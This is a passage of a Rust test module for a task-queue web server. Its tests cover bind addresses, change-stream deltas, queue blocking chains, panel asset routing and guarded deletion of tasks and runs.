21169                let revision = f.get("/api/health").await.json()["talks_rev"]
21170                    .as_u64()
21171                    .unwrap();
21172                if revision != before {
21173                    break revision;
21174                }
21175                tokio::time::sleep(Duration::from_millis(50)).await;
21176            }
21177        })
21178        .await
21179        .expect("shared monitor observes external turn");
21180        assert_ne!(
21181            before, after,
21182            "a phone must be able to notice a talk's reply without polling every store"
21183        );
21184    }
21185
21186    #[test]
21187    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21188        // The CLI shows the default in `--help` and parses whatever comes
21189        // back, so the two directions have to agree or `--bind auto` breaks
21190        // the moment someone copies the help text.
21191        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21192            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21193        }
21194        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21195        assert!("everywhere".parse::<Bind>().is_err());
21196    }
21197
21198    #[test]
21199    fn an_explicit_bind_address_is_taken_verbatim() {
21200        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21201
21202        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21203
21204        assert_eq!(addr, asked);
21205        assert!(
21206            warning.is_none(),
21207            "an operator who named an address gets no lecture"
21208        );
21209    }
21210
21211    #[test]
21212    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21213        let (addr, warning) = resolve_bind(&Bind::Auto);
21214
21215        // This has to hold on a CI runner with no `tailscale` and on a dev box
21216        // with one, so the invariant asserted is the one shared by both
21217        // outcomes: the address is either a real tailnet address offered
21218        // without comment, or loopback with an explanation. What must never
21219        // happen is a silent fallback - an operator told "listening on
21220        // 127.0.0.1" with no reason would go looking for a firewall.
21221        match addr {
21222            IpAddr::V4(ip) if is_tailnet(&ip) => {
21223                assert!(warning.is_none(), "a tailnet address needs no warning");
21224            }
21225            other => {
21226                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21227                let warning = warning.expect("a fallback has to explain itself");
21228                assert!(
21229                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21230                    "the warning says what happened and what it costs: {warning}"
21231                );
21232            }
21233        }
21234    }
21235
21236    #[test]
21237    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21238        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21239        // boundary cases are what stop us binding to some other tool's idea of
21240        // an address.
21241        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21242        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21243        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21244        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21245        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21246    }
21247
21248    #[test]
21249    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21250        let ids = vec![
21251            "20260902-140501-aaaa".to_owned(),
21252            "20260902-140502-aabb".to_owned(),
21253        ];
21254
21255        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21256        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21257        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21258
21259        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21260        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21261        assert_eq!(short, "20260902-140502-aabb");
21262    }
21263    #[tokio::test]
21264    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21265        // The prompt tells agents to reference attachments by bare filename.
21266        // A document served at `.../panel` resolves `shot.png` against its own
21267        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21268        // panel written exactly as instructed showed broken images. Caught by
21269        // looking at a real one in a browser, not by reading the code.
21270        let fx = Fixture::start().await;
21271        let id = panel(
21272            &fx,
21273            "<img src=\"shot.png\">",
21274            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21275        );
21276
21277        // The frame's own URL ends in a filename, so its siblings are reachable.
21278        let doc = fx
21279            .get(&format!("/api/questions/{id}/panel/index.html"))
21280            .await;
21281        assert_eq!(doc.status, 200, "{}", doc.body);
21282        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21283
21284        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21285        assert_eq!(sibling.status, 200, "{}", sibling.body);
21286        assert_eq!(sibling.header("content-type"), Some("image/png"));
21287        assert_eq!(
21288            sibling.header("content-security-policy"),
21289            Some(PANEL_CSP),
21290            "the sibling route must carry the same policy as the asset route"
21291        );
21292
21293        // The original spelling keeps working: HEAD on it is how the front end
21294        // decides whether to mount a frame at all.
21295        assert_eq!(
21296            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21297            200
21298        );
21299    }
21300
21301    #[test]
21302    fn delta_stamps_cover_add_update_remove_and_noop() {
21303        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21304        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21305        let delta = diff_stamps(&before, &after, 42);
21306        assert_eq!(delta.base, 42);
21307        assert_eq!(delta.changed, ["b", "c"]);
21308        assert_eq!(delta.removed, ["a"]);
21309        let same = diff_stamps(&after, &after, 43);
21310        assert!(same.changed.is_empty() && same.removed.is_empty());
21311        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21312        let nanos: Stamps = [("b".into(), (2, 20))].into();
21313        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21314        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21315        assert_eq!(stamps_revision(&Stamps::new()), 0);
21316    }
21317
21318    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21319        std::fs::create_dir_all(home.join("runs")).unwrap();
21320        Arc::new(
21321            Ui::new(
21322                Queue::at(home.join("queue")),
21323                Questions::at(home.join("questions")),
21324                Talks::at(home.join("talks")),
21325                home.join("runs"),
21326                home.to_owned(),
21327                PathBuf::from("/repo/magi"),
21328            )
21329            .with_worktrees_root(home.join("wt")),
21330        )
21331    }
21332
21333    #[test]
21334    fn monitor_scan_isolates_store_failures_and_recovers() {
21335        let home = TempDir::new().unwrap();
21336        let ui = delta_test_ui(home.path());
21337        std::fs::create_dir_all(ui.questions.root()).unwrap();
21338        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21339        let before = monitor_scan(&ui, None);
21340        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21341        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21342        std::fs::create_dir_all(ui.talks.root()).unwrap();
21343        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21344        let during = monitor_scan(&ui, Some(before.clone()));
21345        assert_eq!(during.0.2, before.0.2);
21346        assert_ne!(during.0.3, before.0.3);
21347        assert!(during.1[2].contains_key("new"));
21348        std::fs::remove_file(ui.questions.root()).unwrap();
21349        let after = monitor_scan(&ui, Some(during));
21350        assert_eq!(after.0.2, 0);
21351        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21352        // A failed first scan also permits healthy stores to publish.
21353        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21354        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21355    }
21356
21357    #[tokio::test]
21358    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21359        let home = TempDir::new().unwrap();
21360        let ui = delta_test_ui(home.path());
21361        let mut task = Task::new(
21362            "stream task".into(),
21363            "text".into(),
21364            PathBuf::from("/repo"),
21365            Source::Human,
21366        );
21367        ui.queue.put(&mut task).unwrap();
21368        let response = events(State(ui.clone())).await.into_response();
21369        let mut stream = response.into_body().into_data_stream();
21370        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21371            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21372                .await
21373                .unwrap()
21374                .unwrap()
21375                .unwrap();
21376            let text = String::from_utf8(chunk.to_vec()).unwrap();
21377            let data = text
21378                .lines()
21379                .find_map(|line| {
21380                    line.strip_prefix("data: ")
21381                        .or_else(|| line.strip_prefix("data:"))
21382                })
21383                .unwrap();
21384            serde_json::from_str(data).unwrap()
21385        }
21386        let initial = change(&mut stream).await;
21387        assert!(initial.get("queue_delta").is_none());
21388        task.instruction.push_str(" changed");
21389        ui.queue.put(&mut task).unwrap();
21390        let updated = change(&mut stream).await;
21391        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21392        assert_eq!(
21393            updated["queue_delta"]["changed"],
21394            serde_json::json!([task.id])
21395        );
21396        assert_eq!(
21397            updated["queue_rev"].as_u64(),
21398            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21399        );
21400        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21401        let removed = change(&mut stream).await;
21402        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21403        assert_eq!(
21404            removed["queue_delta"]["removed"],
21405            serde_json::json!([task.id])
21406        );
21407    }
21408
21409    #[tokio::test]
21410    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21411        let home = TempDir::new().unwrap();
21412        let ui = delta_test_ui(home.path());
21413        let queue = ui.queue.clone();
21414        let query = |ids: Option<&str>| {
21415            Query(ListQuery {
21416                limit: Some(2),
21417                ids: ids.map(str::to_owned),
21418            })
21419        };
21420        let mut root = Task::new(
21421            "root".into(),
21422            "instruction".into(),
21423            PathBuf::from("/repo"),
21424            Source::Human,
21425        );
21426        queue.put(&mut root).unwrap();
21427        let mut blocked = Task::new(
21428            "blocked".into(),
21429            "instruction".into(),
21430            PathBuf::from("/repo"),
21431            Source::Human,
21432        );
21433        blocked.block(vec![root.id.clone()], None);
21434        queue.put(&mut blocked).unwrap();
21435        let whole =
21436            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21437                .unwrap();
21438        let subset = serde_json::to_value(
21439            queue_list(State(ui.clone()), query(Some(&root.id)))
21440                .await
21441                .unwrap()
21442                .0,
21443        )
21444        .unwrap();
21445        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21446        let blockers = serde_json::to_value(
21447            queue_list(State(ui.clone()), query(Some("")))
21448                .await
21449                .unwrap()
21450                .0,
21451        )
21452        .unwrap();
21453        assert_eq!(blockers.as_array().unwrap().len(), 1);
21454        assert_eq!(blockers[0]["id"], blocked.id);
21455        assert_eq!(
21456            blockers[0]["waits_on"],
21457            whole
21458                .as_array()
21459                .unwrap()
21460                .iter()
21461                .find(|row| row["id"] == blocked.id)
21462                .unwrap()["waits_on"]
21463        );
21464
21465        for id in [
21466            "20260902-140501-aaaa",
21467            "20260902-140502-bbbb",
21468            "20260902-140503-cccc",
21469        ] {
21470            write_run(&ui.runs, id, RunStatus::Merged);
21471        }
21472        let old = serde_json::to_value(
21473            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21474                .await
21475                .unwrap()
21476                .0,
21477        )
21478        .unwrap();
21479        assert!(
21480            old.as_array().unwrap().is_empty(),
21481            "older updates must not enter the window"
21482        );
21483        let newest = serde_json::to_value(
21484            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21485                .await
21486                .unwrap()
21487                .0,
21488        )
21489        .unwrap();
21490        assert_eq!(newest.as_array().unwrap().len(), 1);
21491        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21492
21493        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21494        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21495        let talks = serde_json::to_value(
21496            talks_list(
21497                State(ui.clone()),
21498                query(Some("20260905-000000-d4e5")),
21499                header::HeaderMap::new(),
21500            )
21501            .await
21502            .unwrap()
21503            .0,
21504        )
21505        .unwrap();
21506        assert_eq!(talks.as_array().unwrap().len(), 1);
21507        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21508        assert_eq!(
21509            serde_json::to_value(
21510                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21511                    .await
21512                    .unwrap()
21513                    .0
21514            )
21515            .unwrap(),
21516            serde_json::json!([])
21517        );
21518    }
21519
21520    #[tokio::test]
21521    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21522    async fn delta_payload_benchmark() {
21523        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21524        let ui = delta_test_ui(&home);
21525        let query = |ids: Option<String>| {
21526            Query(ListQuery {
21527                limit: Some(50),
21528                ids,
21529            })
21530        };
21531        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21532        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21533        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21534            .await
21535            .unwrap()
21536            .0;
21537        let queue_id = queue
21538            .iter()
21539            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21540            .unwrap_or(&queue[0])
21541            .task
21542            .id
21543            .clone();
21544        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21545            .await
21546            .unwrap()
21547            .0;
21548        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21549            .await
21550            .unwrap()
21551            .0;
21552        let talks_delta = talks_list(
21553            State(ui.clone()),
21554            query(Some(talks[0].id.clone())),
21555            header::HeaderMap::new(),
21556        )
21557        .await
21558        .unwrap()
21559        .0;
21560        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21561        eprintln!(
21562            "DELTA_PAYLOAD {}",
21563            serde_json::json!({
21564                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21565                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21566                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21567                "counts": [queue.len(), runs.len(), talks.len()],
21568                "blocked": queue_delta.len() - 1,
21569            })
21570        );
21571    }
21572
21573    #[test]
21574    fn runs_revision_moves_when_deleting_an_older_run() {
21575        let temp = TempDir::new().expect("tempdir");
21576        let runs = temp.path().join("runs");
21577        std::fs::create_dir_all(&runs).expect("create runs dir");
21578
21579        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21580
21581        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21582        std::thread::sleep(Duration::from_millis(10));
21583        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21584
21585        let rev_before = runs_revision(&runs);
21586        assert!(rev_before > 0);
21587
21588        let old_dir = runs.join("20260901-100000-old1");
21589        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21590
21591        let rev_after = runs_revision(&runs);
21592        assert_ne!(
21593            rev_before, rev_after,
21594            "deleting an older run must change the revision so other clients see the deletion"
21595        );
21596    }
21597
21598    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21599    /// process-global home entirely — `RunState::save` writes through
21600    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21601    /// (see `tests::home_lock` in the integration suite for why).
21602    fn write_state(runs: &FsPath, state: &RunState) {
21603        let dir = runs.join(&state.id);
21604        std::fs::create_dir_all(&dir).expect("run dir");
21605        std::fs::write(
21606            dir.join("run.json"),
21607            serde_json::to_string_pretty(state).expect("serialize run"),
21608        )
21609        .expect("write run.json");
21610    }
21611
21612    /// A seat starting or finishing is a write to `run.json` like any other,
21613    /// so it moves the same revision the change stream already watches —
21614    /// nothing new for `/api/events` to learn, but the property this feature
21615    /// depends on to reach the phone without a poll.
21616    #[test]
21617    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21618        let temp = TempDir::new().expect("tempdir");
21619        let runs = temp.path().join("runs");
21620        std::fs::create_dir_all(&runs).expect("create runs dir");
21621        let mut state = RunState::new(
21622            PathBuf::from("/repo/magi"),
21623            "main".to_owned(),
21624            "0123456789abcdef".to_owned(),
21625            "task".to_owned(),
21626            Config::default(),
21627        );
21628        state.id = "20260902-100000-c0de".to_owned();
21629        write_state(&runs, &state);
21630
21631        let rev_idle = runs_revision(&runs);
21632        std::thread::sleep(Duration::from_millis(10));
21633        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21634        write_state(&runs, &state);
21635        let rev_started = runs_revision(&runs);
21636        assert_ne!(
21637            rev_idle, rev_started,
21638            "a seat starting must move the revision"
21639        );
21640
21641        std::thread::sleep(Duration::from_millis(10));
21642        state.seat_finished("judge-1");
21643        write_state(&runs, &state);
21644        let rev_finished = runs_revision(&runs);
21645        assert_ne!(
21646            rev_started, rev_finished,
21647            "and clearing it again must move the revision a second time"
21648        );
21649    }
21650
21651    #[tokio::test]
21652    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21653        // `TaskView` flattens `Task`, so this is really asserting that
21654        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21655        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21656        // never touched web.rs, so nothing here caught it if it had.
21657        let fx = Fixture::start().await;
21658        let q = fx.queue();
21659
21660        let mut t = Task::new(
21661            "Task".to_owned(),
21662            "Instruction".to_owned(),
21663            PathBuf::from("/repo"),
21664            Source::Human,
21665        );
21666        t.block(
21667            vec!["20260101-000000-dead".to_owned()],
21668            Some("waiting on Task 1".to_owned()),
21669        );
21670        t.answers.push(crate::queue::AnsweredQuestion {
21671            question: "Which backend?".to_owned(),
21672            answer: "SQLite".to_owned(),
21673        });
21674        q.put(&mut t).expect("put t");
21675
21676        let res = fx.get("/api/queue").await;
21677        assert_eq!(res.status, 200);
21678        let list = res.json();
21679        let view = list
21680            .as_array()
21681            .expect("array")
21682            .iter()
21683            .find(|v| v["id"] == t.id)
21684            .expect("task in list");
21685        assert_eq!(view["status_str"], "blocked");
21686        assert_eq!(
21687            view["blocked_by"],
21688            serde_json::json!(["20260101-000000-dead"])
21689        );
21690        assert_eq!(view["block_reason"], "waiting on Task 1");
21691        assert_eq!(view["answers"][0]["question"], "Which backend?");
21692        assert_eq!(view["answers"][0]["answer"], "SQLite");
21693
21694        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21695        // but never `answers` - that is a settled decision, not state
21696        // describing the current block, so it survives.
21697        let res = fx
21698            .post(&format!("/api/queue/{}/hold", t.short()), None)
21699            .await;
21700        assert_eq!(res.status, 200);
21701        let held = res.json();
21702        assert_eq!(held["status_str"], "held");
21703        assert_eq!(held["blocked_by"], serde_json::json!([]));
21704        assert!(held["block_reason"].is_null());
21705        assert_eq!(held["answers"][0]["answer"], "SQLite");
21706    }
21707
21708    #[tokio::test]
21709    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21710        let fx = Fixture::start().await;
21711        let q = fx.queue();
21712        let mk = |title: &str| {
21713            Task::new(
21714                title.to_owned(),
21715                "Instruction".to_owned(),
21716                PathBuf::from("/repo"),
21717                Source::Human,
21718            )
21719        };
21720        let mut root = mk("root");
21721        root.hold_manual(Some("waiting".to_owned()));
21722        q.put(&mut root).unwrap();
21723        let mut mid = mk("mid");
21724        mid.block(vec![root.id.clone()], None);
21725        q.put(&mut mid).unwrap();
21726        let mut leaf = mk("leaf");
21727        leaf.block(vec![mid.id.clone()], None);
21728        q.put(&mut leaf).unwrap();
21729
21730        let list = fx.get("/api/queue").await.json();
21731        let find = |id: &str| {
21732            list.as_array()
21733                .unwrap()
21734                .iter()
21735                .find(|v| v["id"] == id)
21736                .unwrap()
21737                .clone()
21738        };
21739        let leaf_view = find(&leaf.id);
21740        assert_eq!(
21741            leaf_view["waits_on"],
21742            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21743        );
21744        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21745        assert_eq!(
21746            find(&mid.id)["waits_on"],
21747            serde_json::json!([format!("{} (held)", root.short())])
21748        );
21749        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21750    }
21751
21752    #[tokio::test]
21753    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21754        let fx = Fixture::start().await;
21755        let q = fx.queue();
21756
21757        // 1. A queued task with runs attached can be deleted.
21758        let mut t1 = Task::new(
21759            "Task 1".to_owned(),
21760            "Instruction 1".to_owned(),
21761            PathBuf::from("/repo"),
21762            Source::Human,
21763        );
21764        let run_id = "20260901-000000-r111";
21765        t1.runs.push(run_id.to_owned());
21766        write_run(&fx.runs(), run_id, RunStatus::Merged);
21767        q.put(&mut t1).expect("put t1");
21768
21769        // Delete by short id
21770        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21771        assert_eq!(res.status, 204);
21772        assert!(res.body.is_empty(), "204 No Content has no body");
21773        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21774        assert!(
21775            fx.runs().join(run_id).exists(),
21776            "run directory must not be deleted when its task is deleted"
21777        );
21778
21779        // 2. A task a live daemon is running is refused with 409.
21780        let mut t2 = Task::new(
21781            "Task 2".to_owned(),
21782            "Instruction 2".to_owned(),
21783            PathBuf::from("/repo"),
21784            Source::Human,
21785        );
21786        t2.status = TaskStatus::Running;
21787        q.put(&mut t2).expect("put t2");
21788        let mut beat = crate::daemon::Status::new();
21789        beat.current = vec![crate::daemon::Current {
21790            worker: None,
21791            task: t2.id.clone(),
21792            run: "20260901-000000-r222".to_owned(),
21793        }];
21794        beat.updated_at = jiff::Timestamp::now();
21795        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21796            .expect("publish a heartbeat");
21797        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21798        assert_eq!(res.status, 409);
21799        assert!(
21800            res.json()["error"]
21801                .as_str()
21802                .unwrap()
21803                .contains("live daemon")
21804        );
21805        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21806
21807        // 3. The same `running` status and an orphaned lock, with no daemon
21808        // behind either, is a leftover and deletable. Before this the phone
21809        // refused it for good: the status never changes on its own and
21810        // nothing drops a lock whose process is gone.
21811        // The daemon is killed: the file stays, the heartbeat stops.
21812        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21813        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21814            .expect("leave a stale heartbeat");
21815        let mut t3 = Task::new(
21816            "Task 3".to_owned(),
21817            "Instruction 3".to_owned(),
21818            PathBuf::from("/repo"),
21819            Source::Human,
21820        );
21821        t3.status = TaskStatus::Running;
21822        q.put(&mut t3).expect("put t3");
21823        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21824        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21825        assert_eq!(res.status, 204);
21826        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21827        assert!(
21828            q.claim(&t3.id).is_ok(),
21829            "the stale lock went with it, so the id is claimable again"
21830        );
21831
21832        // 4. Missing id returns 404
21833        let res = fx.delete("/api/queue/nonexistent").await;
21834        assert_eq!(res.status, 404);
21835    }
21836
21837    #[tokio::test]
21838    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21839        let fx = Fixture::start().await;
21840        let runs = fx.runs();
21841
21842        // 1. Finished and folded run can be deleted along with artifacts
21843        let run_id = "20260901-000000-fold";
21844        let mut state = RunState::new(
21845            PathBuf::from("/repo"),
21846            "main".to_owned(),
21847            "abc".to_owned(),
21848            "instruction".to_owned(),
21849            Config::default(),
21850        );
21851        state.id = run_id.to_owned();
21852        state.status = RunStatus::Merged;
21853        state.candidates.push(crate::run::Candidate {
21854            index: 0,
21855            label: 'A',
21856            agent: "a".to_owned(),
21857            branch: "b".to_owned(),
21858            worktree: PathBuf::from("/w"),
21859            summary: String::new(),
21860            stat: String::new(),
21861            files: 1,
21862            commits: 1,
21863            empty: false,
21864            failed: None,
21865            verified_noop: None,
21866            duration_ms: 0,
21867            folded: true,
21868        });
21869        let dir = runs.join(run_id);
21870        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21871        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21872            .expect("write artifact");
21873        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21874            .expect("write run.json");
21875
21876        // Delete by short id
21877        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21878        assert_eq!(res.status, 204);
21879        assert!(res.body.is_empty(), "204 has no body");
21880        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21881
21882        // 2. A run a live daemon is working on is refused with 409. The
21883        // heartbeat is what makes it refusable: an unfinished run with no
21884        // daemon behind it is a leftover from a killed process, and case 1
21885        // above would otherwise be impossible to tell apart from this one.
21886        let run_running = "20260901-000000-rung";
21887        write_run(&runs, run_running, RunStatus::Prep);
21888        let mut beat = crate::daemon::Status::new();
21889        beat.current = vec![crate::daemon::Current {
21890            worker: None,
21891            task: "20260901-000000-task".to_owned(),
21892            run: run_running.to_owned(),
21893        }];
21894        beat.updated_at = jiff::Timestamp::now();
21895        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21896            .expect("publish a heartbeat");
21897        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21898        assert_eq!(res.status, 409);
21899        assert!(
21900            res.json()["error"]
21901                .as_str()
21902                .unwrap()
21903                .contains("live daemon"),
21904            "the refusal must say who is holding it"
21905        );
21906        assert!(
21907            runs.join(run_running).exists(),
21908            "a run in flight keeps its directory"
21909        );
21910
21911        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21912        let run_unfolded = "20260901-000000-unfd";
21913        let mut state2 = RunState::new(
21914            PathBuf::from("/repo"),
21915            "main".to_owned(),
21916            "abc".to_owned(),
21917            "instruction".to_owned(),
21918            Config::default(),
21919        );
21920        state2.id = run_unfolded.to_owned();
21921        state2.status = RunStatus::Ready;
21922        state2.candidates.push(crate::run::Candidate {
21923            index: 0,
21924            label: 'A',
21925            agent: "a".to_owned(),
21926            branch: "b".to_owned(),
21927            worktree: PathBuf::from("/w"),
21928            summary: String::new(),
21929            stat: String::new(),
21930            files: 1,
21931            commits: 1,
21932            empty: false,
21933            failed: None,
21934            verified_noop: None,
21935            duration_ms: 0,
21936            folded: false,
21937        });
21938        let dir2 = runs.join(run_unfolded);
21939        std::fs::create_dir_all(&dir2).expect("create dir2");
21940        std::fs::write(
21941            dir2.join("run.json"),
21942            serde_json::to_string(&state2).unwrap(),
21943        )
21944        .expect("write run.json");
21945
21946        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21947        assert_eq!(res.status, 409);
21948        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21949        assert!(dir2.exists(), "unfolded run directory is kept");
21950
21951        // 4. Missing id returns 404
21952        let res = fx.delete("/api/runs/nonexistent").await;
21953        assert_eq!(res.status, 404);
21954    }
21955
21956    /// The queue tiles on the Stats tab must render even on a home with no
21957    /// runs at all: queue state is not derived from run history, so hiding
21958    /// the whole dashboard body behind "no runs yet" would drop the one
21959    /// thing this tab promises unconditionally (queued/running/held/done).
21960    /// A DOM-level test would need a browser this suite does not have, so
21961    /// this pins the same invariant textually: `renderStatsQueue` is called
21962    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21963    /// block that gates the run-derived panels.
21964    #[test]
21965    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21966        let start = APP_JS
21967            .find("function renderStats() {")
21968            .expect("renderStats");
21969        let end = start
21970            + APP_JS[start..]
21971                .find("function statsTile(")
21972                .expect("the next top-level function");
21973        let body = &APP_JS[start..end];
21974
21975        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21976        let gate_end = gate_start
21977            + body[gate_start..]
21978                .find("}\n  renderStatsQueue")
21979                .expect("the gate's own closing brace, right before the unconditional call");
21980        let gated = &body[gate_start..gate_end];
21981
21982        assert_eq!(
21983            body.matches("renderStatsQueue(").count(),
21984            1,
21985            "renderStats must call renderStatsQueue exactly once: {body}"
21986        );
21987        assert!(
21988            !gated.contains("renderStatsQueue"),
21989            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21990             run-derived panels on an empty run history - the queue panel has to render \
21991             regardless: {gated}"
21992        );
21993    }
21994
21995    #[test]
21996    fn web_ui_delete_contract_in_front_end() {
21997        // 1. API block has both delete endpoints
21998        assert!(APP_JS.contains("deleteRun:"));
21999        assert!(APP_JS.contains("deleteTask:"));
22000
22001        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
22002        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22003            ..APP_JS.find("function renderRuns").unwrap()];
22004        assert!(!run_cards_slice.to_lowercase().contains("delete"));
22005
22006        // 3. Run detail has delete entry and reasons
22007        assert!(APP_JS.contains("renderRunDelete"));
22008        assert!(APP_JS.contains("runDeleteReason"));
22009        assert!(APP_JS.contains("magi fold"));
22010        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22011
22012        // 4. Two-step delete arming and focus on Cancel
22013        assert!(APP_JS.contains("cancel.focus"));
22014        assert!(APP_JS.contains("armedRunDelete"));
22015        assert!(APP_JS.contains("renderTaskDeleteBox"));
22016        assert!(APP_JS.contains("armed${cap(key)}"));
22017
22018        // 5. Running task has disabled delete
22019        assert!(APP_JS.contains("disabled: status === \"running\""));
22020    }
22021
22022    /// Every element a run card's updater reaches for must be in the `refs`
22023    /// the builder handed it.
22024    ///
22025    /// `createRunCard` builds its elements, appends them to the card, and then
22026    /// lists them again in `row.refs`. That second list is the one the updater
22027    /// uses, and nothing connects the two - an element can be built, appended
22028    /// and rendered, and still be missing from `refs`. `superseded` was, for
22029    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
